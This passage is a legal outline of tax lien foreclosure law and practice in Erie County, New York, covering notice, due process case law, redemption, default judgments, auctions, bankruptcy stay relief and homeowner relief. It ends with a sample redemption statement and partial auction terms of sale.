vi) Unforgiving

b) **Judicial Foreclosure Action**
   
i) Availability:
     
     (1) RPTL §1194: Available to a purchaser of tax lien, or its successors/assigns.
     
     (2) ECTA Article 9: Available to Erie County as an alternative to In Rem provisions.
   
ii) Foreclosure of tax lien as in an action to foreclose mortgage:
     
     
     (2) Court has power to determine and enforce priorities, rights, claims and demands of parties, including those amongst defendants.
     
     (3) Resolution of more complex issues:
         
         (1) Deleted, split, merged SBLs
         
         (2) Institutionalized property owners
         
         (3) Cases necessitating relief in Bankruptcy Court
         
         (4) Costs, disbursements and attorney's fees recoverable.
   
c) No personal liability.
2) **In Rem Proceeding**
   
a) Commencement- Filing of List of Delinquent Taxes
   
i) List of Delinquent Taxes:
      (1) Brief description of each parcel
      (2) Name of the last owner as the same appears on the latest tax roll
      (3) Statement of the amount due upon lien(s)
      (4) Verification stating that the last known owners of the real property set forth in the List and their last known addresses were ascertained from an inspection of the current records and tax rolls of the county.
   
ii) Effect of filing of List:
      (1) Constitutes and has the same force and effect as the filing of an individual Notice of Pendency of a tax foreclosure action and of the filing of a separate and individual complaint by the county against the owners of the real property proceeded against and described in the List.
      (2) Date of filing of List establishes which taxes are paid from sale proceeds, which taxes are the responsibility of the purchaser and which taxes are extinguished.

b) Petition and Notice of Foreclosure
   
i) Provides notice of foreclosure and information relative to redemption and answer.
      (1) RPTL §1124: Must be filed at County Clerk’s Office
      (2) ECTA: No filing requirement
   
ii) Public notice of foreclosure
      (1) Publication requirement – two newspapers:
         (1) RPTL §1124: Once a week for three non-consecutive weeks in a two month period.
         (2) ECTA §11-12.0: Once a week for six successive weeks.
      (2) Posting requirement – on or before first day of publication:
         (1) Office of enforcing officer;
         (2) Courthouse; and
         (3) ECTA §11-13.0: Three places within each city, town or village.
      (3) Lyon v. Estate of Cornell, 269 A.D.2d 737 (4th Dept. 2000): “Once actual notice is received, strict compliance with the statute is no longer required.”

 c) Personal Notice of In Rem Tax Lien Foreclosure Proceeding
   
i) On or before the first date of publication, county must mail notice to parties entitled thereto.
   
ii) Parties entitled to notice
      (1) RPTL §1125:
         (1) Each owner and any other person whose right, title, or interest was a matter of public record as of the date the list of delinquent taxes was filed, which right, title or
interest will be affected by the termination of the redemption period, and whose name and address are reasonably ascertainable from the public record, including the records in the offices of the surrogate of the county, or from material submitted to the enforcing officer evidencing a change of address;

(2) Any other person who has filed a declaration of interest; and

(3) The enforcing officer of any other tax district having a right to enforce the payment of a tax imposed upon any of the parcels described upon such petition.

(2) ECTA §11-13.0:

(1) Each owner as the same appears upon the current records and tax rolls in the office of the commissioner of finance; and

(2) Mortgagee or lienor who has filed with commissioner a notice stating his name, residence and address.

(3) Declaration of interest

(1) Any mortgagee, lienor, lessee or other person having a legally protected interest in real property who wishes to receive copies of the notices may file with the enforcing officer a declaration of interest containing the name and mailing address of the person submitting such declaration, a description of the parcel or parcels in which such person claims an interest, and a description of the nature of such interest.

(2) Duration

   (i) RPTL §1126: 10 years
   (ii) ECTA §11-13.0: 2 years

(4) Missing names and/or addresses from tax roll:

(1) No duty to ascertain names and/or addresses when missing from tax roll.

(2) Lily Dale Assembly, Inc. v. Chautauqua County, 72 A.D.2d 950 (4th Dept. 1979): Requirement of mailing of notice of tax sale and notice to redeem to names and addresses of taxpayers as they appear on assessment roll does not apply where roll contains no name and address; applicable statutory sections do not impose an additional duty upon enforcing officer to ascertain such names and addresses before proceeding with the enforcement.

(3) ECTA §11-13.0: Affidavit of enforcing officer establishing absence of name or address.

iii) Notification method

(1) Mailing requirement

   (1) RPTL §1125: Regular and certified mail.

   (2) ECTA distinctions:

      (i) ECTA §11-13.0: Regular mail to property owner (no requirement to mail via certified mail).

      (ii) ECTA §11-14.0: Certified mail to mortgagee or lienor (no requirement to mail via regular mail).
(2) Notice deemed received unless both regular and certified are returned within 45 days of mailing.

(1) If both mailings are returned within 45 days of mailing:
   (i) Mailing to alternate address if same is ascertainable from reasonable search of the public record.
   
   1. **Kennedy v. Mossafa, 100 N.Y.2d 1 (2003):** For purposes of determining whether a property owner received sufficient notice of foreclosure proceedings for unpaid taxes under the due process clause, enforcing officer's obligation is not always satisfied by sending notice to address listed in tax roll, even where notice is returned as undeliverable; when notice is returned as undeliverable, tax district should conduct a reasonable search of the public record. A reasonable search of the public record does not necessarily require searching the Internet, voting records, motor vehicle records, the telephone book or other similar resource.

   2. **Matter of County of Schuyler (Solomon Fin. Ctr., Inc.), 83 A.D.3d 1243 (3rd Dept. 2011):** In context of notice of tax lien foreclosure proceedings, a reasonable search of the public record includes a search of land records contained in the offices of the County Clerk and Surrogate, but does not necessarily require either an Internet search or a search of records of the Supreme Court or County Court.

   3. **Mac Naughton v. Warren County, 20 N.Y.3d 252 (2012):** County's failure to provide property owners with actual notice that tax foreclosure proceeding had been initiated against their property after documents sent to their home address had been returned by postal service as undeliverable did not violate due process, where county published notice of foreclosure proceeding and sent copy of petition to owners at address listed on deed by first class mail, and there was no evidence that further search of public records would have yielded any additional information about property owners' whereabouts.

   (ii) If no alternate address ascertained, notice is posted at subject property.

(2) If both mailings returned more than 45 days after mailing, no further obligation.

   (i) **Matter of County of Clinton (Greenpoint Assets, Ltd.), 116 A.D.3d 1206 (3rd Dept. 2014):** Mailings that county sent to property owner, a foreign corporation, were deemed received, and county's statutory obligation to provide notice of tax lien foreclosure proceedings was satisfied, where one first class mailing sent to owner was never returned to county by United States Postal Service (USPS), and, although later first class and certified mailings were both returned, that did not occur within 45 days after being mailed.

  iv) Proof of service

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Page 5 of 20
(1) Proof of filing, publication, posting and mailing made via affidavits.

(2) Matter of Tax Foreclosure Action No. 34, 191 A.D.2d 679 (2nd Dept. 1993): Affidavit of mailing, viewed in context of presumption of regularity which attaches, amply demonstrates that taxpayer was properly and timely served.

v) Change of address:

(1) Property owner bears responsibility to update property address in order to protect her property rights. Harner v. County of Tioga, 5 N.Y.3d 136 (2005); Kennedy v. Mossafa, 100 N.Y.2d 1 (2003).

(2) Change in address must be clear – return address label or address contained on check insufficient

(1) Kennedy v. Mossafa, 100 N.Y.2d 1 (2003): County's receipt of checks in payment of real estate taxes owed on property, in envelopes showing owner's current address, did not constitute notice of change of address requiring county to use new address when mailing owner notice of foreclosure proceedings.

d) Due Process

i) Where the names and addresses of interested parties are known, due process requires “notice reasonably calculated under all the circumstances, to apprise that party of the foreclosure action, so that the party may have an opportunity to appear and be heard... key word is “reasonably”, which balances the interests of the state against the rights of the parties”. Kennedy v. Mossafa, 100 N.Y.2d 1, 9 (2003).

(1) Harner v. County of Tioga, 5 N.Y.3d 136 (2005): County’s notices of tax delinquency foreclosure satisfied due process, even though the county took no steps to obtain an alternative address, and even though record owner asserted he was unaware that his mailing address on the tax rolls was improperly changed eight years earlier from his residential address to the address of the property, where notices sent to record owner of the property by certified mail pursuant to statute providing for personal notice of commencement of foreclosure proceeding were returned “unclaimed,” but ordinary first-class mailings were not.

(2) Kennedy v. Mossafa, 100 N.Y.2d 1 (2003): Former owner of real property received adequate notice, under the due process clause of State and Federal Constitutions, of foreclosure proceeding triggered by nonpayment of property taxes for one year period, when county posted and published public notice of proceeding and mailed notice to former owner at address appearing on tax records, though owner had moved and did not in fact receive notice. Ownership carries responsibilities. Owner failed to protect her ownership interest by updating her address.

ii) Notice sufficient:

(1) Wilczak v. City of Niagara Falls, 174 A.D.3d 1446 (4th Dept. 2019): City substantially complied with statutory notice requirements in its tax foreclosure action against
property owner, despite property owner’s averment that he never received such notice; city’s billing supervisor deposited with postal service one set of postage prepaid certified letters and one set of postage prepaid regular letters containing a copy of petition and notice of foreclosure addressed to property owner’s last known address, city’s mailing book confirmed this mailing, neither regular nor certified mailings were returned to sender, property owner did not dispute that address to which notice was sent was his mailing address, and property owner’s denial of receipt was insufficient to rebut presumption, raised by city’s submitted evidence, that he received notice.

2) **Matter of County of Sullivan (Matejkowski), 105 A.D.3d 1170 (3rd Dept. 2013)**: Property owner was not deprived of his property without due process after default judgment was entered, since county had provided notice reasonably calculated to apprise him of the pendency of the proceeding and had afforded him an opportunity to present his objections; county had mailed petition and notice of foreclosure to property owner’s last known address as stated in tax roll public records, published notice of foreclosure in two newspapers in the tax district, and posted notice of the foreclosure in county treasurer’s office, government center, courthouse, and five separate post offices in the county, and property owner had failed to notify county of any new address to which the tax bills should have been sent.

3) **Matter of County of Ontario (Helser), 72 A.D.3d 1636 (4th Dept. 2010)**: County’s notices of tax delinquency foreclosure satisfied due process, even though county’s certified mailings were returned by United States postal service, where county sent certified and first-class notices to property owner’s address of record and to forwarding address supplied by postal service, only the certified mailings were returned, and first-class mailings were not returned as undeliverable within 45 days of mailing; under such circumstances, county was entitled to conclude that property owner was attempting to evade notice.

e) Presumptions and Burdens of Proof
   i) County enjoys
      (1) Presumption of Validity of tax lien(s)
      (2) Presumption that notice received
         (1) **Matter of County of Seneca (Maxim Dev. Group), 151 A.D.3d 1611 (4th Dept. 2017)**: Tax foreclosure proceedings enjoy a presumption of regularity through due process, such that the tax debtor has the burden of affirmatively establishing a jurisdictional defect or invalidity in such proceedings; where the proof exhibits an office practice and procedure followed in the regular course of business which shows that notices have been duly addressed and mailed, a presumption arises that those notices have been received by the party to whom they were sent.
Franzone v. Quinn, 303 A.D.2d 812 (3rd Dept. 2003): Where tax officials show, through evidence concerning the office procedures they followed in the regular course of business, that the required notice and petition of foreclosure was properly addressed and mailed to a party interested in the proceeding, they are entitled to a presumption that the notice was received.

ii) Burden on respondent to affirmatively establish defect and/or defense to proceeding.
(1) Mere denial of receipt insufficient:
   (1) In Rem Tax Foreclosure Action No. 47, 19 A.D.3d 547 (2nd Dept. 2005): Mortgagees’ mere denial of receipt of notice of foreclosure from city failed to overcome presumption of regularity of mailing or presumption of regularity of all proceedings taken in action.
   (2) Johnson v. County of Erie, 309 A.D.2d 1278 (4th Dept. 2003): Dismissal of complaint proper where county’s proof that notice was sent to plaintiff at the subject property gave rise to the presumption that plaintiff received the notice and plaintiff’s denial of receipt is insufficient to rebut presumption.
   (3) Franzone v. Quinn, 303 A.D.2d 812 (3rd Dept. 2003): County raised presumption that notice of foreclosure for nonpayment of property taxes was received by property owner, and owner failed to rebut the presumption; county sent to property owner by first class mail the notice and petition of foreclosure at address for prior tax notices and an additional address, and owner submitted no evidence that additional address was not proper or that he had notified county of address change and owner had made partial payment on tax bill that indicated prior taxes were due and failure to pay could result in loss of property.

f) Redemption
i) Each person having any right, title, interest in or lien upon parcel may redeem such parcel by paying sums before expiration of the redemption period set forth in the Notice.
   (1) Collective Statement of Redemption – operates to cancel Notice of Pendency (see Appendix 1)
   (2) ECTA §11-12.0: Assignment of Tax Lien

g) Answer
i) Each person having any right, title, interest in or lien upon parcel may submit verified answer.
   (1) Requirements:
      (1) Must be filed and served by the deadline set forth in the Notice
      (2) Must set forth in detail the nature of interest and any defense or objection to foreclosure
(3) Must specify with particularity any jurisdictional defect or invalidity and must affirmatively establish any defense

ii) Trial of Issues
   (1) Proper filing and service of answer operates to sever parcel from main proceeding.
   (2) The Court has the power to summarily hear and determine the issues raised by the petition and answer in the same manner and under the same rules as it hears and determines other proceedings or actions.

(3) Summary judgment striking answer and for Judgment of Foreclosure and Sale:
   (1) Presumption of validity of liens
   (2) Presumption of regularity
   (3) Payment as a complete defense

(4) Unsuccessful answer – party is in same position as if he/she did not answer or redeem.
   (1) Court cannot extend time to redeem.
   (2) Matter of City of Binghamton (Ritter), 128 A.D.2d 266 (3rd Dept. 1987): The Court cannot extend time to redeem. County court was without power to extend taxpayer’s time to redeem parcels of land after expiration of redemption period, and thus taxpayer who interposed answer setting forth defenses or objections to foreclosure, which were rejected by county court, was not entitled to redeem parcels, and under circumstances, sale was appropriate, with surplus moneys, if any, to be awarded to taxpayer.

h) Judgment
   i) Default Judgment
      (1) In the event of a failure to redeem or answer by any person having the right to redeem or answer, such person shall forever be barred and foreclosed of all right, title, and interest and equity of redemption in and to the parcel in which the person has an interest.
      (2) Once time to redeem/answer expired, rights are fixed.
      (3) RPTL §1131: Motion to reopen default judgment:
         (1) Must establish both reasonable excuse for default and meritorious defense.
         (2) Statute of limitations: One month from entry of judgment.
            (i) RPTL §1131: “A motion to reopen any such default may not be brought later than one month after entry of the judgment”.
            (ii) Failure to move within one month, forever barred.
               1. Matter of City of Utica (Martin), 75 A.D.3d 1047 (4th Dept. 2019): Court erred in determining that it had discretion to grant motion seeking to vacate underlying judgment of foreclosure in the interests of substantial justice. “RPTL 1131 provides, in unambiguous and prohibitory language, that a motion to reopen any such default may not be brought later than one
month after entry of the judgment... Thus, the exercise of such discretion is available to the courts only upon consideration of a timely motion.”

2. **Wilczak v. City of Niagara Falls, 174 A.D.3d 1446 (4th Dept. 2019):** Property owner was not entitled to consideration of equitable relief in his action seeking to set aside deeds conveying two of his properties to city upon a default judgment of tax foreclosure against him, where property owner never made a request to reopen default judgment.

3. **Matter of County of Wayne (Schenk), 169 A.D.3d 1501, 1502–1503 (4th Dept. 2019):** Court without discretion to vacate judgment in the interests of substantial justice where motion to vacate untimely.

4. **Matter of Foreclosure of Tax Liens, 171 A.D.3d 1175 (2nd Dept. 2019):** There was no dispute that property owner failed to move to reopen within one month of entry of default judgment entered in favor of county in county’s action to foreclose on tax lien encumbering property, and owner’s untimeliness forever barred and foreclosed it of all equity of redemption in and to the parcel in which it formerly had an interest, and therefore owner was not entitled to redeem the property.

(iii) One month statute of limitations even where party alleges that he/she did not receive notice.

1. **Matter of County of Clinton (Greenpoint Assets, Ltd.), 116 A.D.3d 1206 (3rd Dept. 2014):** Statute of limitations for motions to reopen a default judgment of tax foreclosure, stating that such a motion may not be brought later than one month after the judgment is entered, applies even where the property owner asserts that he or she was not notified of the foreclosure proceeding.

2. **Matter of County of Herkimer (Moore), 104 A.D.3d 1332 (4th Dept. 2013):** Denial of motion to vacate default judgment proper where motion made in excess of the thirty-day statute of limitations for the reopening of default judgment. The thirty-day statute of limitation applies even where the property owner asserts that she was not notified of the foreclosure proceeding.

**ii) Final Judgment**

(1) Determines:

   (1) Priorities, rights, claims and demands of the several parties to the proceeding, including the priorities, rights, claims and demands of the respondents as between themselves.

   (2) Whether there has been conformity with the In Rem provisions (RPTL or tax act).

(2) Directs:

   (1) Sale of lands.
(2) Distribution of proceeds of sale – payment of liens in inverse order as far as sale proceeds suffice.

(3) Cancellation of taxes/assessments remaining after proceeds of sale have been applied.

i) Statute of Limitations – Two (2) Years
   i) RPTL §1137: “Every deed given pursuant to the provisions of this article shall be presumptive evidence that the proceeding and all proceedings therein and all proceedings prior thereto from and including the assessment of the real property affected and all notices required by law were regular and in accordance with all provisions of law relating thereto. After two years from the date of the recording of such deed, the presumption shall be conclusive. No proceeding to set aside such deed may be maintained unless the proceeding is commenced and a notice of pendency of the proceeding is filed in the office of the proper county clerk prior to the time that the presumption becomes conclusive.”
   ii) Limitations period begins upon filing of deed.
   iii) Presumption is conclusive two years from filing of deed.
      (1) Matter of City of Troy (Kingsley—Nationstar Mtge., LLC), 115 A.D.3d 1088 (3rd Dept. 2014): Where an entity with a purported interest in real property that was subject to a tax sale neglects to challenge the sale in any fashion for two years, a conclusive presumption arises regarding the procedural regularity of all proceedings regarding the sale.
      (2) Matter of County of Rockland (Piermont Commercial Corp.), 29 A.D.3d 791 (2nd Dept. 2006): Motion to vacate, brought nearly five years after a deed to real property was conveyed to the petitioner in a proceeding to foreclose tax liens and recorded, was barred by the two-year statute of limitations.
   iv) Timely attack on sufficiency of notice
      (1) Separate action
         (1) When deed has been delivered and recorded, attack on sufficiency of notice can only be made in an action to set the deed aside. A motion to vacate the default judgment in the foreclosure proceeding is not the proper remedy. Town of Somers v. Covey, et al, 2 N.Y.2d 250 (1957).
      (2) Supreme Court
         (1) County Court lacks subject matter jurisdiction to grant equitable relief where, as the result of default judgment and subsequent deed, purchaser acquired full and complete title to the subject property and having failed to redeem its interest, answer the foreclosure proceeding or seek to reopen the default judgment in a timely matter, the applicant was barred and foreclosed of its right, title, interest and equity of redemption. “A court of equity cannot divest legal titles, except in accordance with its settled and acknowledged jurisdiction”. Matter of County of
Sullivan (Congregation Khal Chaside Skwera, Inc.), 86 A.D.3d 671, 672 (3rd Dept. 2011).
3) **Tax Lien Foreclosure Auction**

   a) Notice of Sale
      i) Publication and posting requirements
      ii) ECTA §11-14.0: mailing to mortgagee or lienor

   b) Public sale at the direction of the enforcing officer

   c) Parcels eligible:
      i) Unredeemed parcels contained in Judgment of Foreclosure and Sale
      ii) Continued matters from prior In Rem proceedings

   d) Computation of opening bid
      i) Factors to consider:
         1. Amount of Judgment
         2. Lis Pendens date
         3. Assessed value of property
      ii) Purpose of sale:
         1. Recoup outstanding taxes
         2. Return property to tax roll

   e) Terms of Sale (see Appendix 2)
      i) The Terms and Memorandum of Sale is the formal contract between the purchaser and the Referee. Purchaser agrees to the following terms of sale:
         1. Closing within 30 days of auction.
         2. Distribution of Proceeds (the manner in which the bid proceeds are distributed to pay outstanding taxes)
            1. All taxes, assessments, water and sewer rates which are liens upon the property, but which have become such subsequent to the filing of the Lis Pendens are paid in reverse chronological order.
            2. The Terms of Sale provide that, “[a]ny and all taxes arising after the date of the filing of the Notice of Pendency survive the foreclosure sale to the extent not paid by the proceeds of sale and are the responsibility of the purchaser.” In other words: All taxes/assessments that have accrued prior to the filing of the Lis Pendens are extinguished if they are not paid by the bid proceeds. All taxes/assessments that have accrued after the filing of the Lis Pendens that are unpaid by the bid proceeds are the responsibility of the purchaser.
            3. County performs a Tax Search: The Terms of Sale provide that, “[t]he Referee will exercise due diligence in ascertaining the taxes, assessments, water, sewer and other municipal liens against the property as of the date of the sale, but makes no guarantees or warranties as to that information. Any liens or other encumbrances which are not disclosed to the Referee or the County’s closing attorney prior to the closing date or are discovered after the closing date become the sole responsibility of the purchaser.”
      3. No warranties.
(4) The property is sold in “as is” condition.

(5) No guarantees regarding the accuracy or completeness of information provided about the property.

(6) Purchaser is responsible for performing his/her own independent investigation.

(7) No representations/warranties as to the marketability or insurability of title.

(8) No access to the property until the closing takes place and the Referee’s Deed is filed at the Erie County Clerk’s Office.

(9) Purchaser’s responsibility to evict or remove any parties in possession of the premises after Deed is filed.

(10) The risk of loss or damage by fire, vandalism or other cause between the time of sale and delivery of the deed is assumed by the Purchaser.

(11) Default by Purchaser: Occurs when Purchaser fails to comply with any of the terms of sale.

   (1) Forfeit of deposit

   (2) In the event of resale, Purchaser shall be held liable for the difference between the amount received upon resale and the amount of purchaser’s original bid plus interest on the original bid at 9% per annum, plus costs, expenses and fees (including attorneys’ fees) occurring as a result of said resale. Purchaser’s deposit shall be applied to said deficiency, with any overage refunded to said purchaser. Purchaser shall be liable for any remaining deficiency.

(12) The County will prepare and provide a Referee’s Deed, only. All other expenses of closing, including but not limited to, costs of Recording the Referee’s Deed, including Real Property Transfer Tax and Transfer Stamps, if any, and title continuation charges and title insurance costs shall be borne by the Purchaser.

(13) County shall refuse to transfer title to any person or entity who is not current on all obligations owed to municipalities throughout the county.

(14) County shall refuse to transfer title to delinquent homeowner who purchases his/her property or another property at auction and such person will forfeit his/her deposit and/or final payment.

(15) Referee shall have the right to set aside any bid by any person deemed by him/her to not be a responsible bidder.

(16) County reserves the right to rescind the sale due to Bankruptcy and/or inadequate notice to any interested party.

f) Distribution of Proceeds

   i) Governed by Judgment of Foreclosure and Sale and Terms of Sale.

   ii) Taxes paid in reverse chronological order: (see Appendix 3)

      (1) Pre-Lis Pendens liens extinguished if not paid by bid proceeds. (see Appendix 4)

      (2) Post-Lis Pendens liens, to the extent not paid by bid proceeds, are the responsibility of the purchaser. (see Appendix 5)
(1) Continued matters may involve significant purchaser responsibility

(2) Negotiation of post-Lis Pendens municipal liens (likely requires board approval)

g) Surplus Money
   i) Referee Report of sale not required (ECTA §11-26.0)
   ii) Order directing deposit with Comptroller
   iii) Courtesy notice to property owners (see Appendix 6)
   iv) Application for surplus moneys:
      (1) Filing of Notice of Claim
      (2) Notice of application to interested parties
      (3) Court appointment of referee
      (4) Hearing on notice

h) The Land Bank & the “Super Bid”:
   i) Mission of the Buffalo Erie Niagara Land Improvement Corporation (BENLIC) is to return the thousands of vacant and abandoned properties found throughout Erie County to productive use.
   ii) BENLIC works in partnership with Erie County municipalities to identify and acquire specific vacant and abandoned properties at the In Rem auction. These properties are multiple years’ tax delinquent, often the source of resident complaint, and are generally in need of substantial repairs.
   iii) “Super Bid”
      (1) As a New York State Land Bank, BENLIC uses its legal preferred bid or “Super Bid” at tax auctions.
      (2) By doing so, BENLIC is able to supersede any other bidder and acquire property.
   iv) After acquisition, properties are rehabbed when deemed appropriate, or stabilized and sold. BENLIC prioritizes first time homebuyers and responsible investors in the sale process.
   v) Strong partnerships between BENLIC, community leaders, local residents and investors enable the land bank to meet its mission and continue to improve the community.
4) **Bankruptcy Considerations and Relief in Tax Lien Foreclosure**

a) The filing of a bankruptcy petition merely to prevent foreclosure, without the ability or intention to reorganize is an abuse of the Bankruptcy Code. In re Felberman, 196 B.R. 678 (Bankr. S.D.N.Y. 1995).

b) Relief from the automatic stay provisions of the Bankruptcy Code


      (1) Cause for relief from the automatic stay includes a finding that a filing was made in bad faith. In re Eclair Bakery Ltd., 255 B.R. 121, 137 – 38 (Bankr. S.D.N.Y. 2000) ("Bad faith has frequently been held to provide sufficient cause to warrant” either dismissal or relief from an automatic stay).

      (2) Bad faith inquiry is meant to ensure that the debtor actually intends to use the Bankruptcy to reorganize and rehabilitate itself “and not simply to create hardship or delay to its creditors by invoking the automatic stay”. In re RCM Global Long Term Capital Appreciation Fund, Ltd., 200 B.R. 514, 522 (Bankr. S.D.N.Y. 1996).

      (3) A number of factors may be indicative of a bad faith filing, including whether the debtor’s filing demonstrates an intent to delay or otherwise frustrate the legitimate efforts of secured creditors to pursue their rights. In re AMC Realty Corp., 270 B.R. 132, 141 (Bankr. S.D.N.Y. 2001) (citing In re C-TC 9th Avenue P’ship, 113 F.3d 1304, 1311 (2d Cir. 1997)).

   ii) 11 U.S.C. §362(d)(4)(B): Relief from automatic stay upon finding that Bankruptcy filing is part of a scheme to delay, hinder, or defraud creditors that involves the existence of multiple Bankruptcy filings affecting the subject property.

      (1) The Court “can infer intent to hinder, delay and defraud creditors from the fact of serial filings alone without holding an evidentiary hearing.” In re Richmond, 513 B.R. 34, 38 (E.D. N.Y. 2014). The “extent of the efforts by a debtor to prosecute his bankruptcy case and the timing and sequencing of filings are important factors in determining whether a debtor has engaged in a scheme to delay, hinder and defraud.” Id. at 38 quoting In re Montalvo, 416 BR 381 at 387 (Bankr. E.D.N.Y. 2009).

      (2) In re Richmond, 516 BR 229, 235 (Bankr. E.D.N.Y. 2014): “The timing of both filings permitted an inference that the Debtor is attempting to hinder or delay [creditor’s] efforts to enforce the Foreclosure Judgment.”

   iii) 11 USC §362(c)(3)(A): If Debtor files Bankruptcy proceeding within one (1) year of a prior dismissal, the Debtor is only entitled to an automatic stay of thirty (30) days.

      (1) 11 USC §362(c)(3)(B): To obtain an extension of the automatic stay, the Debtor must demonstrate that the latter Bankruptcy proceeding was filed in good faith.

      (2) 11 USC §362(c)(3)(C)(I)(III): A case is presumed to be filed not in good faith if there has not been a substantial change in the financial or personal affairs of the Debtor since the dismissal of the next most previous case or any other reason to conclude that the later case will be concluded.
(3) 11 USC §362(c)(3)(C): To rebut the presumption, the Debtor must establish, via clear and convincing evidence, that the later proceeding is filed in good faith.

iv) In some cases, relief from the automatic stay can be retroactive and/or prospective.

(1) In re Jean-Francois, 516 B.R. 699, 703-704 (Bankr. E.D.N.Y. 2014): Annulment of the automatic stay grants retroactive relief therefrom, thereby validating past proceedings or actions that would otherwise be deemed void.

c) 11 U.S.C. §1307(c): Dismissal of Bankruptcy proceeding for “cause”


ii) In determining whether a bankruptcy was filed in bad faith, the Court must review the totality of the circumstances. In re Froman, supra at 647; In re Kaplan Breshaw Ash, LLC., 264 B.R. 309, 333 (Bankr. S.D.N.Y. 2001) (holding that bankruptcy filing on eve of foreclosure does not in itself establish a bad faith filing, rather, it is only one of several indicia to be examined by the Court under the totality of the circumstances).

iii) In re Froman, 566 B.R. 641, 647 (S.D.N.Y. 2017): Relevant factors that may indicate a bad faith filing include: (1) whether the debtor has few or no unsecured creditors; (2) whether there has been a previous petition filed by the debtor or a related entity; (3) whether the debtor’s conduct pre-petition was proper; (4) whether the petition permits the debtor to evade court orders; (5) whether the petition was filed on the eve of foreclosure; (6) whether the foreclosed property is the sole or major asset of the debtor; (7) whether the debtor's income is sufficient such that there is a likely possibility of reorganization; (8) whether the reorganization essentially involves the resolution of a two party dispute, and (9) whether the debtor filed solely to obtain the protection of the automatic stay.
5) Relief for Residential Homeowners

a) Cooperation with Legal Service Agencies
   i) Information sharing – a two way street
   ii) WNY Foreclosure Assistance Legal Agencies
       (http://www2.erie.gov/ecrpts/index.php?q=legal-assistance)

b) Installment Payment Plans
   i) Forbearance agreement
   ii) Owner occupied, residential property
   iii) Down-payment

c) Court Order (see Appendix 7)
   i) Available in limited circumstances
   ii) Acknowledgment of outstanding tax liability and validity of Judgment
   iii) Conditional – if Judgment not satisfied, County can proceed with sale without further order, subject to statutory notice requirements
6) **COVID-19 Considerations in Tax Lien Foreclosure Proceedings**

   a) Due to COVID-19, municipalities are facing
      i) Budget deficits
      ii) Housing issues

   b) Tax lien foreclosure actions/proceedings are distinguishable from new mortgage foreclosures in that there has been no “default” during COVID-19.

   c) Broadened relief for tax delinquent property owners:
      i) Delay/Postponement of commencement and/or auction
      ii) Payment plans with low or no down payments and longer plan term to residential, owner-occupied property owners pre-screened by a credible local legal services organization and/or housing counseling agency as experiencing COVID-19 related financial hardship.
         (1) Pre-screened applicants who have had a prior payment plan will be eligible for this payment plan.
      iii) Additional time for residents to make payments prior to auction.
      iv) Acceptance of payments online and through the mail to avoid the need for in-person contact.

   d) Limited need for in-person contact
      i) Virtual appearances
      ii) Stipulated conditional orders
STATE OF NEW YORK
COUNTY COURT : COUNTY OF ERIE

IN THE MATTER OF FORECLOSURE OF TAX
LIENS BY PROCEEDING IN REM PURSUANT
TO THE IN REM PROVISIONS OF THE ERIE
COUNTY TAX ACT AND THE RESOLUTION OF
THE ERIE COUNTY LEGISLATURE AS SHOWN
BY RESOLUTION NO. 54 AT PAGE 179 OF
THE MINUTES OF THE PROCEEDINGS OF
SAID LEGISLATURE FOR THE YEAR 2019

FIRST COLLECTIVE
STATEMENT OF
REDEMPTIONS

INDEX NO.

STATE OF NEW YORK )
COUNTY OF ERIE ) ss:

I, SCOTT A. BYLEWSKI, Director of Real Property Tax Services, Enforcing Officer for
the County of Erie, as such, I am familiar with the facts and circumstances herein. I do hereby
certify as follows:

1. The following parcels identified on Schedule “A” which is annexed hereto and
made a part hereof were included on a List of Delinquent Tax Liens, which was filed in the
office of the Erie County Clerk on the 6th day of May, 2019, pursuant to Article 11 of the Erie
County Tax Act.

2. These parcels were redeemed pursuant to §11-11.0 of the Erie County Tax Act on
the date stated in the column entitled “Date Paid” on the attached Schedule “A”, upon payment
of the amount due thereon, including all charges authorized by law.

3. The Erie County Clerk is hereby authorized and directed, upon the filing of this
Collective Statement of Redemptions, to enter on the List of Delinquent Tax Liens the word
“redeemed” and the date of the filing of this Statement, opposite the description of the parcel
described above. This notation will operate to cancel the Notice of Pendency with respect to this
parcel described above.
IN WITNESS WHEREOF, I have hereunto set my hand this day of July, 2019

_____________________________________
SCOTT A. BYLEWSKI
Director of Real Property Tax Services
Enforcing Officer

STATE OF NEW YORK   )
COUNTY OF ERIE      ) ss:
CITY OF BUFFALO     )

On this day of July, in the year 2019, before me the undersigned, personally appeared SCOTT A. BYLEWSKI, personally known to me or proved to me on the basis of satisfactory evidence to be the individual whose name is subscribed to the within instrument, and acknowledged to me that he executed the same in his capacity, and that by his signature on the instrument, the individual or the person upon behalf of which the individual acted, executed the instrument.

___________________________________
Notary Public:
Schedule A
<table>
<thead>
<tr>
<th>Property Address</th>
<th>Property Owner(s)</th>
<th>City</th>
<th>Zip Code</th>
<th>SBL</th>
<th>Serial</th>
</tr>
</thead>
</table>

TERMS OF SALE

IN REM NO. ______ AUCTION

«Property_Address», «City»
«Serial»

All properties upon which judgment has been obtained by the County of Erie (hereinafter “County”) in the proceeding known as In Rem _____ will be sold under the direction of the Erie County Director of Real Property Tax Services, the Referee, pursuant to the following terms:

1. The minimum bid may not be less than $500. However, the Referee does reserve the right to set the minimum bid for a specific property at an amount in excess of $500. The greater of twenty percent (20%) of the purchase money of said premises or $500 will be required to be paid in cash or certified check to the said Referee at the time and place of sale, for which the Referee’s receipt will be given. The Referee will give full credit for any deposit in excess of the amount paid. In the event that the property reverts back to the County, the Referee is not required to collect the deposit.

2. The remainder of said purchase price will be required to be paid in cash or certified check payable to: Scott A. Bylewski, Referee, and deliverable to the offices of Lippes Mathias Wexler Friedman LLP, 50 Fountain Plaza, Suite 1700, Buffalo, New York or at such other place designated by the Referee or his attorney no later than October 26, 2018 (the “Settlement Date”).

3. The Referee is not required to send any notice to the purchaser; and if purchaser neglects to call at the time and place above specified to receive his deed, he will be deemed to be in default under these Terms of Sale and all monies will be forfeited. Purchaser will be charged with interest at nine per cent (9%) per annum on the balance due from the date of sale to the ultimate date of delivery of the Referee's Deed, plus any additional costs and fees, including attorneys' fees, unless the Referee shall deem it proper to extend the time for completion of said purchase.

4. The Referee conducting the sale shall pay out of the proceeds of sale, if any, as follows:

(a) expense of the sale;

(b) costs awarded in the foreclosure judgment;

(c) all taxes, assessments and water and sewer rates which are liens upon the real estate, but which have become such subsequent to the filing of the Notice of Pendency (_____), or for the non payment of which no tax sale has been had prior thereto, shall be paid in the inverse order of the time at which such taxes and assessments became liens;

(d) all tax sale certificates against the property which may have been issued subsequent to the filing of the Notice of Pendency and shall be paid in the inverse order of the date of issuance of such certificates;

